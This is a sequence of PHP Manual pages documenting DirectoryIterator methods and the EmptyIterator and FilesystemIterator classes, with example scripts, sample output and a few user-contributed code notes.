Get size of current DirectoryIterator item

DirectoryIterator::getPerms
DirectoryIterator::getType
DirectoryIterator
PHP Manual

DirectoryIterator::getSize

(PHP 5)

DirectoryIterator::getSize — Get size of current DirectoryIterator item

Description

public int DirectoryIterator::getSize ( void )

Get the file size for the current DirectoryIterator item.

Parameters

This function has no parameters.

Return Values

Returns the size of the file, in bytes.

Examples

Example #1 DirectoryIterator::getSize() example

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isFile()) {
        echo $fileinfo->getFilename() . " " . $fileinfo->getSize() . "\n";
    }
}
?>

The above example will output something similar to:

apple.jpg 15385
banana.jpg 15190
example.php 170
pear.jpg 34406

See Also

  • filesize() - Gets file size

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::getPerms
DirectoryIterator::getType
DirectoryIterator


Determine the type of the current DirectoryIterator item

DirectoryIterator::getSize
DirectoryIterator::isDir
DirectoryIterator
PHP Manual

DirectoryIterator::getType

(PHP 5)

DirectoryIterator::getType — Determine the type of the current DirectoryIterator item

Description

public string DirectoryIterator::getType ( void )

Determines which file type the current DirectoryIterator item belongs to. One of file, link, or dir.

Parameters

This function has no parameters.

Return Values

Returns a string representing the type of the file. May be one of file, link, or dir.

Examples

Example #1 DirectoryIterator::getType() example

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    echo $fileinfo->getFilename() . " " . $fileinfo->getType() . "\n";
}
?>

The above example will output something similar to:

. dir
.. dir
apple.jpg file
banana.jpg file
example.php file
pear.jpg file

See Also

  • DirectoryIterator::isDir() - Determine if current DirectoryIterator item is a directory
  • DirectoryIterator::isDot() - Determine if current DirectoryIterator item is '.' or '..'
  • DirectoryIterator::isFile() - Determine if current DirectoryIterator item is a regular file
  • DirectoryIterator::isLink() - Determine if current DirectoryIterator item is a symbolic link

User Contributed Notes

boards at gmail dot com 09-Apr-2006 09:09
Note that this function returns the file type (e.g. "file", "dir", etc.) and not the MIME type.  To do that, you might want to use this:
<?php
for
(
  $dir = new DirectoryIterator('/some/directory');
  $dir->valid();
  $dir->next()
)
{
  $mime = mime_content_type($dir->getPathname());
}
?>
DirectoryIterator::getSize
DirectoryIterator::isDir
DirectoryIterator


Determine if current DirectoryIterator item is a directory

DirectoryIterator::getType
DirectoryIterator::isDot
DirectoryIterator
PHP Manual

DirectoryIterator::isDir

(PHP 5)

DirectoryIterator::isDir — Determine if current DirectoryIterator item is a directory

Description

public bool DirectoryIterator::isDir ( void )

Determines if the current DirectoryIterator item is a directory.

Parameters

This function has no parameters.

Return Values

Returns TRUE if it is a directory, otherwise FALSE

Examples

Example #1 DirectoryIterator::isDir() example

This example lists the directories within the directory of the current script.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isDir()) {
        echo $fileinfo->getFilename() . "\n";
    }
}
?>

The above example will output something similar to:

.
..
apples
bananas
pears

See Also

  • DirectoryIterator::getType() - Determine the type of the current DirectoryIterator item
  • DirectoryIterator::isDot() - Determine if current DirectoryIterator item is '.' or '..'
  • DirectoryIterator::isFile() - Determine if current DirectoryIterator item is a regular file
  • DirectoryIterator::isLink() - Determine if current DirectoryIterator item is a symbolic link

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::getType
DirectoryIterator::isDot
DirectoryIterator


Determine if current DirectoryIterator item is '.' or '..'

DirectoryIterator::isDir
DirectoryIterator::isExecutable
DirectoryIterator
PHP Manual

DirectoryIterator::isDot

(PHP 5)

DirectoryIterator::isDot — Determine if current DirectoryIterator item is '.' or '..'

Description

public bool DirectoryIterator::isDot ( void )

Determines if the current DirectoryIterator item is a directory and either . or ...

Parameters

This function has no parameters.

Return Values

TRUE if the entry is . or .., otherwise FALSE

Examples

Example #1 A DirectoryIterator::isDot() example

This example will list all files, omitting the . and .. entries.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if (!$fileinfo->isDot()) {
        echo $fileinfo->getFilename() . "\n";
    }
}
?>

The above example will output something similar to:

apple.jpg
banana.jpg
example.php
pears.jpg

See Also

  • DirectoryIterator::getType() - Determine the type of the current DirectoryIterator item
  • DirectoryIterator::isDir() - Determine if current DirectoryIterator item is a directory
  • DirectoryIterator::isFile() - Determine if current DirectoryIterator item is a regular file
  • DirectoryIterator::isLink() - Determine if current DirectoryIterator item is a symbolic link

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::isDir
DirectoryIterator::isExecutable
DirectoryIterator


Determine if current DirectoryIterator item is executable

DirectoryIterator::isDot
DirectoryIterator::isFile
DirectoryIterator
PHP Manual

DirectoryIterator::isExecutable

(PHP 5)

DirectoryIterator::isExecutable — Determine if current DirectoryIterator item is executable

Description

public bool DirectoryIterator::isExecutable ( void )

Determines if the current DirectoryIterator item is executable.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the entry is executable, otherwise FALSE

Examples

Example #1 DirectoryIterator::isExecutable() example

This example lists files in the directory containing the script which are executable.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isExecutable()) {
        echo $fileinfo->getFilename() . "\n";
    }
}
?>

The above example will output something similar to:

example.php
myscript.sh

See Also

  • DirectoryIterator::isReadable() - Determine if current DirectoryIterator item can be read
  • DirectoryIterator::isWritable() - Determine if current DirectoryIterator item can be written to
  • DirectoryIterator::getPerms() - Get the permissions of current DirectoryIterator item

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::isDot
DirectoryIterator::isFile
DirectoryIterator


Determine if current DirectoryIterator item is a regular file

DirectoryIterator::isExecutable
DirectoryIterator::isLink
DirectoryIterator
PHP Manual

DirectoryIterator::isFile

(PHP 5)

DirectoryIterator::isFile — Determine if current DirectoryIterator item is a regular file

Description

public bool DirectoryIterator::isFile ( void )

Determines if the current DirectoryIterator item is a regular file.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the file exists and is a regular file (not a link or dir), otherwise FALSE

Examples

Example #1 DirectoryIterator::isFile() example

This example will list all regular files in the directory containing the script.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isFile()) {
        echo $fileinfo->getFilename() . "\n";
    }
}
?>

The above example will output something similar to:

apple.jpg
banana.jpg
example.php
pears.jpg

See Also

  • DirectoryIterator::getType() - Determine the type of the current DirectoryIterator item
  • DirectoryIterator::isDir() - Determine if current DirectoryIterator item is a directory
  • DirectoryIterator::isDot() - Determine if current DirectoryIterator item is '.' or '..'
  • DirectoryIterator::isLink() - Determine if current DirectoryIterator item is a symbolic link

User Contributed Notes

Philipp W. gnurepublic_at_linuxmail.org 30-Jul-2007 02:49
to actually sort a directoryiterator you need to subclass the iterator and use a comparator function similar to this one

<?php
function cmpSPLFileInfo( $splFileInfo1, $splFileInfo2 )
{
    return strcmp( $splFileInfo1->getFileName(), $splFileInfo2->getFileName() );
}

class DirList extends RecursiveDirectoryIterator
{
    private $dirArray;

    public function __construct( $p )
    {
        parent::__construct( $p );
        $this->dirArray = new ArrayObject();
        foreach( $this as $item )
        {
            $this->dirArray->append( $item );
        }
        $this->dirArray->uasort( "cmpSPLFileInfo" );
    }

    public function getIterator()
    {
        return $this->dirArray->getIterator();
    }

}
?>
DieselDriver at edu dot uni-klu dot ac dot at 24-Apr-2007 08:17
shows all .jpg files in the current directory but how does the DirectoryIterator sort the output!?

$dir=new DirectoryIterator("./");
foreach ($dir as $file) {
  if ($dir->isDot()) {continue;}    //removes . and ..
    if (strripos($file,".jpg")==true) {
      echo $file . "<br>\n";
    }
 }
kencomer at NOSPAM dot kencomer dot com 14-Sep-2005 06:49
I put in an example in __autoload, but it is useful here, too...

Yet another class/interface __autoload function. Includes an example usage of the SPL DirectoryIterator class, a settable case-ignore flag, and support for multiple file name patterns to allow easy integration from multiple sources.

<?php
/**
 * __autoload
 *
 * @author Ken Comer
 * @copyright released into public domain 2005 Ken Comer
 */

define('IGNORE_CASE',true);
// comment out the define() of IGNORE_CASE to be
//   case-sensitive. I like to ignore case so that I can
//   use UPPERCASE for the test versions of the file.

/**
 * autoloads classes and interfaces for PHP5
 *
 * @author Ken Comer
 */

function __autoload($class_name) {

  // This will be set the first time through.
  // Put your default values in the place indicated
  //    below so as to eliminate possible duplicates
  //    in the .ini include_path
  static $possible_path = NULL;
  // Leave this as NULL.

  // List here whatever formats you use for your
  //    file names. Note that, if you autoload
  //    a class that implements a non-loaded interface,
  //    you will also need to autoload that interface.
  static $permitted_formats = array(
    "&CLASS.class.inc"
    ,"&CLASS.class.inc.php"
    ,"&CLASS.class.inc.php5"
    ,"class.&CLASS.inc"
    ,"class.&CLASS.inc.php"
    ,"class.&CLASS.inc.php5"
    ,"&CLASS.interface.inc"
    ,"&CLASS.interface.inc.php"
    ,"&CLASS.interface.inc.php5"
    ,"i&CLASS.interface.inc"
    ,"i&CLASS.interface.inc.php"
    ,"i&CLASS.interface.inc.php5"
  );
  //  Put the &CLASS wherever the $class_name
  //    might appear

  // Only executed the first time __autoload is called
  if (NULL===$possible_path):
    // These are the default paths for this application
    $possible_path = array_flip(array(
        "."
        ,".."
        ,"../include"
        ,"/public_html/php/include"
    ));
    // Customize this yourself, but leave the
    //      array_flip alone. We will use this
    //      to get rid of duplicate entries from the
    //      include_path .ini list.

    // Merge the flipped arrays to get rid of duplicate
    //      "keys" (which are really the valid include
    //      paths) then strip out the keys leaving only
    //      uniques. This is marginally faster than
    //      using array_combine and array_unique and
    //      much more elegant. Okay, it's weird, too.
    $possible_path = array_keys(array_merge($possible_path,
            array_flip(explode(ini_get("include_path"),";"))));
  endif; /* static $possible_path initialization */

  $possibility = str_replace("&CLASS",$class_name,$permitted_formats);

  foreach ( $possible_path as $directory ) {
    if (!file_exists($directory) or !is_dir($directory))
    {
      continue;
    }
    $file_to_check = new DirectoryIterator($directory);

    foreach ( $file_to_check as $file ) {
      // ignore directories and files that do not contain
      // $class_name
      if ( !$file->isDir()
          and ( defined(IGNORE_CASE) && TRUE===IGNORE_CASE )
            ? stripos($file->getFileName(),$class_name)
            : strpos($file->getFileName(),$class_name) ) :

        // class_name was included, now compare against
        // all permitted file name patterns
        foreach ( $possibility as $compare ):
            if ((defined(IGNORE_CASE) && TRUE===IGNORE_CASE )
                ? !strcasecmp($compare,$file->getFileName())
                : $compare===$file->getFileName()
            ) {
              // by using $compare, you will get a qualified
              //    file name
              include_once($compare);
              return TRUE;
            }
        endforeach; /* $possibility */

      endif;
    } /* foreach $file_to_check */
  }
}
?>
ludvig dot ericson at gmail dot com 31-Aug-2005 04:29
Usage:
<?php
//open current directory
$dir = new DirectoryIterator(".");
// use do .. while since we need to iterate atleast once
// and the first two items are always "." and ".."
do  {
    // if it isn't "." or ".."
    if (!$dir->isDot()) {
        // echo out pathname and "/" if it's a directory
        echo $dir->getPathname() . ($dir->isDir() ? "/" : "");
    }
} while ($dir->next())
?>

Outputs something like:
/path/file1
/path/dir1/
/path/file2
/path/file3
/path/dir2/

---
Note from the extension author:

Try this:

<?php
foreach(new DirectoryIterator(".") as $file)
{
    if (!$file->isDot()) {
        echo $file->getPathname() . ($file->isDir() ? "/" : "");
    }
}
?>
DirectoryIterator::isExecutable
DirectoryIterator::isLink
DirectoryIterator


Determine if current DirectoryIterator item is a symbolic link

DirectoryIterator::isFile
DirectoryIterator::isReadable
DirectoryIterator
PHP Manual

DirectoryIterator::isLink

(PHP 5)

DirectoryIterator::isLink — Determine if current DirectoryIterator item is a symbolic link

Description

public bool DirectoryIterator::isLink ( void )

Determines if the current DirectoryIterator item is a symbolic link.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the item is a symbolic link, otherwise FALSE

Examples

Example #1 A DirectoryIterator::isLink() example

This example contains a recursive function for removing a directory tree.

<?php
/**
 * This function will recursively delete all files in the given path, without
 * following symlinks.
 *
 * @param string $path Path to the directory to remove.
 */
function removeDir($path) {
    $dir = new DirectoryIterator($path);
    foreach ($dir as $fileinfo) {
        if ($fileinfo->isFile() || $fileinfo->isLink()) {
            unlink($fileinfo->getPathName());
        } elseif (!$fileinfo->isDot() && $fileinfo->isDir()) {
            removeDir($fileinfo->getPathName());
        }
    }
    rmdir($path);
}

removeDir('foo');
?>

See Also

  • DirectoryIterator::getType() - Determine the type of the current DirectoryIterator item
  • DirectoryIterator::isDir() - Determine if current DirectoryIterator item is a directory
  • DirectoryIterator::isDot() - Determine if current DirectoryIterator item is '.' or '..'
  • DirectoryIterator::isFile() - Determine if current DirectoryIterator item is a regular file

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::isFile
DirectoryIterator::isReadable
DirectoryIterator


Determine if current DirectoryIterator item can be read

DirectoryIterator::isLink
DirectoryIterator::isWritable
DirectoryIterator
PHP Manual

DirectoryIterator::isReadable

(PHP 5)

DirectoryIterator::isReadable — Determine if current DirectoryIterator item can be read

Description

public bool DirectoryIterator::isReadable ( void )

Determines if the current DirectoryIterator item is readable.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the file is readable, otherwise FALSE

Examples

Example #1 DirectoryIterator::isReadable() example

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isReadable()) {
        echo $fileinfo->getFilename() . "\n";
    }
}
?>

The above example will output something similar to:

apple.jpg
banana.jpg
example.php
pears.jpg

See Also

  • DirectoryIterator::isExecutable() - Determine if current DirectoryIterator item is executable
  • DirectoryIterator::isWritable() - Determine if current DirectoryIterator item can be written to
  • DirectoryIterator::getPerms() - Get the permissions of current DirectoryIterator item

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::isLink
DirectoryIterator::isWritable
DirectoryIterator


Determine if current DirectoryIterator item can be written to

DirectoryIterator::isReadable
DirectoryIterator::key
DirectoryIterator
PHP Manual

DirectoryIterator::isWritable

(PHP 5)

DirectoryIterator::isWritable — Determine if current DirectoryIterator item can be written to

Description

public bool DirectoryIterator::isWritable ( void )

Determines if the current DirectoryIterator item is writable.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the file/directory is writable, otherwise FALSE

Examples

Example #1 DirectoryIterator::isWritable() example

This example lists the files and directories which can be opened for writing in the directory containing the script.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isWritable()) {
        echo $fileinfo->getFilename() . "\n";
    }
}
?>

The above example will output something similar to:

apples.txt
bananas.html
pears

See Also

  • DirectoryIterator::getPerms() - Get the permissions of current DirectoryIterator item
  • DirectoryIterator::isExecutable() - Determine if current DirectoryIterator item is executable
  • DirectoryIterator::isReadable() - Determine if current DirectoryIterator item can be read

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::isReadable
DirectoryIterator::key
DirectoryIterator


Return the key for the current DirectoryIterator item

DirectoryIterator::isWritable
DirectoryIterator::next
DirectoryIterator
PHP Manual

DirectoryIterator::key

(PHP 5)

DirectoryIterator::key — Return the key for the current DirectoryIterator item

Description

public string DirectoryIterator::key ( void )

Get the key for the current DirectoryIterator item.

Parameters

This function has no parameters.

Return Values

The key for the current DirectoryIterator item.

Examples

Example #1 A DirectoryIterator::key() example

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
    if (!$fileinfo->isDot()) {
        echo $fileinfo->key() . " => " . $fileinfo->getFilename() . "\n";
    }
}
?>

The above example will output something similar to:

0 => apple.jpg
1 => banana.jpg
2 => index.php
3 => pear.jpg

See Also

  • DirectoryIterator::current() - Return the current DirectoryIterator item.
  • DirectoryIterator::next() - Move forward to next DirectoryIterator item
  • DirectoryIterator::rewind() - Rewind the DirectoryIterator back to the start
  • DirectoryIterator::valid() - Check whether current DirectoryIterator position is a valid file
  • Iterator::key() - Return the key of the current element

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::isWritable
DirectoryIterator::next
DirectoryIterator


Move forward to next DirectoryIterator item

DirectoryIterator::key
DirectoryIterator::rewind
DirectoryIterator
PHP Manual

DirectoryIterator::next

(PHP 5)

DirectoryIterator::next — Move forward to next DirectoryIterator item

Description

public void DirectoryIterator::next ( void )

Move forward to the next DirectoryIterator item.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 DirectoryIterator::next() example

List the contents of a directory using a while loop.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
while($iterator->valid()) {
    echo $iterator->getFilename() . "\n";
    $iterator->next();
}
?>

The above example will output something similar to:

.
..
apple.jpg
banana.jpg
index.php
pear.jpg

See Also

  • DirectoryIterator::current() - Return the current DirectoryIterator item.
  • DirectoryIterator::key() - Return the key for the current DirectoryIterator item
  • DirectoryIterator::rewind() - Rewind the DirectoryIterator back to the start
  • DirectoryIterator::valid() - Check whether current DirectoryIterator position is a valid file
  • Iterator::next() - Move forward to next element

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::key
DirectoryIterator::rewind
DirectoryIterator


Rewind the DirectoryIterator back to the start

DirectoryIterator::next
DirectoryIterator::seek
DirectoryIterator
PHP Manual

DirectoryIterator::rewind

(PHP 5)

DirectoryIterator::rewind — Rewind the DirectoryIterator back to the start

Description

public void DirectoryIterator::rewind ( void )

Rewind the DirectoryIterator back to the start.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 DirectoryIterator::rewind() example

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));

$iterator->next();
echo $iterator->key(); //1

$iterator->rewind(); //rewinding to the beginning
echo $iterator->key(); //0
?>

See Also

  • DirectoryIterator::current() - Return the current DirectoryIterator item.
  • DirectoryIterator::key() - Return the key for the current DirectoryIterator item
  • DirectoryIterator::next() - Move forward to next DirectoryIterator item
  • DirectoryIterator::valid() - Check whether current DirectoryIterator position is a valid file
  • Iterator::rewind() - Rewind the Iterator to the first element

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::next
DirectoryIterator::seek
DirectoryIterator


Seek to a DirectoryIterator item

DirectoryIterator::rewind
DirectoryIterator::__toString
DirectoryIterator
PHP Manual

DirectoryIterator::seek

(PHP 5 >= 5.3.0)

DirectoryIterator::seek — Seek to a DirectoryIterator item

Description

public void DirectoryIterator::seek ( int $position )

Seek to a given position in the DirectoryIterator.

Parameters

position

The zero-based numeric position to seek to.

Return Values

No value is returned.

Examples

Example #1 DirectoryIterator::seek() example

Seek to the fourth item in the directory containing the script. The first two are usually . and ..

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
$iterator->seek(3);
if ($iterator->valid()) {
    echo $iterator->getFilename();
} else {
    echo 'No file at position 3';
}
?>

See Also

  • DirectoryIterator::rewind() - Rewind the DirectoryIterator back to the start
  • DirectoryIterator::next() - Move forward to next DirectoryIterator item
  • SeekableIterator::seek() - Seeks to a position

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::rewind
DirectoryIterator::__toString
DirectoryIterator


Get file name as a string

DirectoryIterator::seek
DirectoryIterator::valid
DirectoryIterator
PHP Manual

DirectoryIterator::__toString

(PHP 5)

DirectoryIterator::__toString — Get file name as a string

Description

public string DirectoryIterator::__toString ( void )

Get the file name of the current DirectoryIterator item.

Parameters

This function has no parameters.

Return Values

Returns the file name of the current DirectoryIterator item.

Examples

Example #1 A DirectoryIterator::__toString() example

This example will list the contents of the directory containing the script.

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
    echo $fileinfo;
}
?>

The above example will output something similar to:

.
..
apple.jpg
banana.jpg
index.php
pear.jpg

See Also

  • DirectoryIterator::getFilename() - Return file name of current DirectoryIterator item.
  • The __toString() magic method

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::seek
DirectoryIterator::valid
DirectoryIterator


Check whether current DirectoryIterator position is a valid file

DirectoryIterator::__toString
EmptyIterator
DirectoryIterator
PHP Manual

DirectoryIterator::valid

(PHP 5)

DirectoryIterator::valid — Check whether current DirectoryIterator position is a valid file

Description

public bool DirectoryIterator::valid ( void )

Check whether current DirectoryIterator position is a valid file.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the position is valid, otherwise FALSE

Examples

Example #1 A DirectoryIterator::valid() example

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));

// Loop to end of iterator
while($iterator->valid()) {
    $iterator->next();
}

$iterator->valid(); // FALSE
$iterator->rewind();
$iterator->valid(); // TRUE

?>

See Also

  • DirectoryIterator::current() - Return the current DirectoryIterator item.
  • DirectoryIterator::key() - Return the key for the current DirectoryIterator item
  • DirectoryIterator::next() - Move forward to next DirectoryIterator item
  • DirectoryIterator::rewind() - Rewind the DirectoryIterator back to the start
  • Iterator::valid() - Checks if current position is valid

User Contributed Notes

josh dot butts at vertive dot com 02-Sep-2008 09:47
This function, as far as I can tell, returns boolean, not string.

$di = new DirectoryIterator(/path/to/iterate);
while ($di->valid())
{
    echo $di->getPathname() . "\n";
    $di->next();
}
DirectoryIterator::__toString
EmptyIterator
DirectoryIterator


The EmptyIterator class

(PHP 5 >= 5.1.0)

Introduction

The EmptyIterator class for an empty iterator.

Class synopsis

EmptyIterator implements Iterator , Traversable {
/* Methods */
public void current ( void )
public void key ( void )
public void next ( void )
public void rewind ( void )
public void valid ( void )
}

Table of Contents

  • EmptyIterator::current — The current() method
  • EmptyIterator::key — The key() method
  • EmptyIterator::next — The next() method
  • EmptyIterator::rewind — The rewind() method
  • EmptyIterator::valid — The valid() method

User Contributed Notes

There are no user contributed notes for this page.
DirectoryIterator::valid
EmptyIterator::current
Iterators


The current() method

EmptyIterator
EmptyIterator::key
EmptyIterator
PHP Manual

EmptyIterator::current

(PHP 5 >= 5.1.0)

EmptyIterator::current — The current() method

Description

public void EmptyIterator::current ( void )

This function must not be called. It throws an exception upon access.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Errors/Exceptions

Throws an Exception if called.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
EmptyIterator
EmptyIterator::key
EmptyIterator


The key() method

EmptyIterator::current
EmptyIterator::next
EmptyIterator
PHP Manual

EmptyIterator::key

(PHP 5 >= 5.1.0)

EmptyIterator::key — The key() method

Description

public void EmptyIterator::key ( void )

This function must not be called. It throws an exception upon access.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Errors/Exceptions

Throws an Exception if called.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
EmptyIterator::current
EmptyIterator::next
EmptyIterator


The next() method

EmptyIterator::key
EmptyIterator::rewind
EmptyIterator
PHP Manual

EmptyIterator::next

(PHP 5 >= 5.1.0)

EmptyIterator::next — The next() method

Description

public void EmptyIterator::next ( void )

No operation, nothing to do.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
EmptyIterator::key
EmptyIterator::rewind
EmptyIterator


The rewind() method

EmptyIterator::next
EmptyIterator::valid
EmptyIterator
PHP Manual

EmptyIterator::rewind

(PHP 5 >= 5.1.0)

EmptyIterator::rewind — The rewind() method

Description

public void EmptyIterator::rewind ( void )

No operation, nothing to do.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
EmptyIterator::next
EmptyIterator::valid
EmptyIterator


The valid() method

EmptyIterator::rewind
FilesystemIterator
EmptyIterator
PHP Manual

EmptyIterator::valid

(PHP 5 >= 5.1.0)

EmptyIterator::valid — The valid() method

Description

public void EmptyIterator::valid ( void )

The EmptyIterator valid() method.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

FALSE

User Contributed Notes

There are no user contributed notes for this page.
EmptyIterator::rewind
FilesystemIterator
EmptyIterator


The FilesystemIterator class

(PHP 5 >= 5.3.0)

Introduction

The Filesystem iterator

Class synopsis

FilesystemIterator extends DirectoryIterator implements SeekableIterator , Traversable , Iterator {
/* Constants */
const integer CURRENT_AS_PATHNAME = 32 ;
const integer CURRENT_AS_FILEINFO = 0 ;
const integer CURRENT_AS_SELF = 16 ;
const integer CURRENT_MODE_MASK = 240 ;
const integer KEY_AS_PATHNAME = 0 ;
const integer KEY_AS_FILENAME = 256 ;
const integer FOLLOW_SYMLINKS = 512 ;
const integer KEY_MODE_MASK = 3840 ;
const integer NEW_CURRENT_AND_KEY = 256 ;
const integer SKIP_DOTS = 4096 ;
const integer UNIX_PATHS = 8192 ;
/* Methods */
public __construct ( string $path [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS ] )
public mixed current ( void )
public int getFlags ( void )
public string key ( void )
public void next ( void )
public void rewind ( void )
public void setFlags ([ int $flags ] )
/* Inherited methods */
public DirectoryIterator DirectoryIterator::current ( void )
public int DirectoryIterator::getATime ( void )
public string DirectoryIterator::getBasename ([ string $suffix ] )
public int DirectoryIterator::getCTime ( void )
public string DirectoryIterator::getExtension ( void )
public string DirectoryIterator::getFilename ( void )
public int DirectoryIterator::getGroup ( void )
public int DirectoryIterator::getInode ( void )
public int DirectoryIterator::getMTime ( void )
public int DirectoryIterator::getOwner ( void )
public string DirectoryIterator::getPath ( void )
public string DirectoryIterator::getPathname ( void )
public int DirectoryIterator::getPerms ( void )
public int DirectoryIterator::getSize ( void )
public string DirectoryIterator::getType ( void )
public bool DirectoryIterator::isDir ( void )
public bool DirectoryIterator::isDot ( void )
public bool DirectoryIterator::isExecutable ( void )
public bool DirectoryIterator::isFile ( void )
public bool DirectoryIterator::isLink ( void )
public bool DirectoryIterator::isReadable ( void )
public bool DirectoryIterator::isWritable ( void )
public string DirectoryIterator::key ( void )
public void DirectoryIterator::next ( void )
public void DirectoryIterator::rewind ( void )
public void DirectoryIterator::seek ( int $position )
public string DirectoryIterator::__toString ( void )
public bool DirectoryIterator::valid ( void )
}

Predefined Constants

FilesystemIterator::CURRENT_AS_PATHNAME

Makes FilesystemIterator::current() return the pathname.

FilesystemIterator::CURRENT_AS_FILEINFO

Makes FilesystemIterator::current() return an SplFileInfo instance.

FilesystemIterator::CURRENT_AS_SELF

Makes FilesystemIterator::current() return $this (the FilesystemIterator).

FilesystemIterator::CURRENT_MODE_MASK

Masks FilesystemIterator::current()

FilesystemIterator::KEY_AS_PATHNAME

Makes FilesystemIterator::key() return the pathname.

FilesystemIterator::KEY_AS_FILENAME

Makes FilesystemIterator::key() return the filename.

FilesystemIterator::FOLLOW_SYMLINKS

Makes RecursiveDirectoryIterator::hasChildren() follow symlinks.

FilesystemIterator::KEY_MODE_MASK

Masks FilesystemIterator::key()

FilesystemIterator::NEW_CURRENT_AND_KEY

Same as FilesystemIterator::KEY_AS_FILENAME | FilesystemIterator::CURRENT_AS_FILEINFO.

FilesystemIterator::SKIP_DOTS

Skips dot files (. and ..).

FilesystemIterator::UNIX_PATHS

Makes paths use Unix-style forward slash irrespective of system default.

Changelog

Version | Description
5.3.1 | Added FilesystemIterator::FOLLOW_SYMLINKS

Table of Contents

  • FilesystemIterator::__construct — Constructs a new filesystem iterator
  • FilesystemIterator::current — The current file
  • FilesystemIterator::getFlags — Get the handling flags
  • FilesystemIterator::key — Retrieve the key for the current file
  • FilesystemIterator::next — Move to the next file
  • FilesystemIterator::rewind — Rewinds back to the beginning
  • FilesystemIterator::setFlags — Sets handling flags

User Contributed Notes

There are no user contributed notes for this page.
EmptyIterator::valid
FilesystemIterator::__construct
Iterators


Constructs a new filesystem iterator

FilesystemIterator
FilesystemIterator::current
FilesystemIterator
PHP Manual

FilesystemIterator::__construct

(PHP 5 >= 5.3.0)

FilesystemIterator::__construct — Constructs a new filesystem iterator

Description

public FilesystemIterator::__construct ( string $path [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS ] )

Constructs a new filesystem iterator from the path.

Parameters

path

The path of the filesystem item to be iterated over.

flags

Flags may be provided which will affect the behavior of some methods. A list of the flags can found under FilesystemIterator predefined constants. They can also be set later with FilesystemIterator::setFlags()

Return Values

No value is returned.

Errors/Exceptions

Throws an UnexpectedValueException if the path cannot be found.

Examples

Example #1 FilesystemIterator::__construct() example

<?php
$it = new FilesystemIterator(dirname(__FILE__));
foreach ($it as $fileinfo) {
    echo $fileinfo->getFilename() . "\n";
}
?>

The above example will output:

apples.jpg
banana.jpg
example.php

See Also

  • FilesystemIterator::setFlags() - Sets handling flags
  • DirectoryIterator::__construct() - Constructs a new directory iterator from a path

User Contributed Notes

There are no user contributed notes for this page.
FilesystemIterator
FilesystemIterator::current
FilesystemIterator


The current file

FilesystemIterator::__construct
FilesystemIterator::getFlags
FilesystemIterator
PHP Manual

FilesystemIterator::current

(PHP 5 >= 5.3.0)

FilesystemIterator::current — The current file

Description

public mixed FilesystemIterator::current ( void )

Get file information of the current element.

Parameters

This function has no parameters.

Return Values

The filename, file information, or $this depending on the set flags. See the FilesystemIterator constants.

Examples

Example #1 FilesystemIterator::current() example

This example will list the contents of the directory containing the script.

<?php
$iterator = new FilesystemIterator(dirname(__FILE__), FilesystemIterator::CURRENT_AS_PATHNAME);
foreach ($iterator as $fileinfo) {
    echo $iterator->current() . "\n";
}
?>

The above example will output something similar to:

/www/examples/apple.jpg
/www/examples/banana.jpg
/www/examples/example.php

See Also

  • FilesystemIterator constants
  • DirectoryIterator::current() - Return the current DirectoryIterator item.
  • DirectoryIterator::getFileName() - Return file name of current DirectoryIterator item.

User Contributed Notes

There are no user contributed notes for this page.
FilesystemIterator::__construct
FilesystemIterator::getFlags
FilesystemIterator


Get the handling flags

FilesystemIterator::current
FilesystemIterator::key
FilesystemIterator
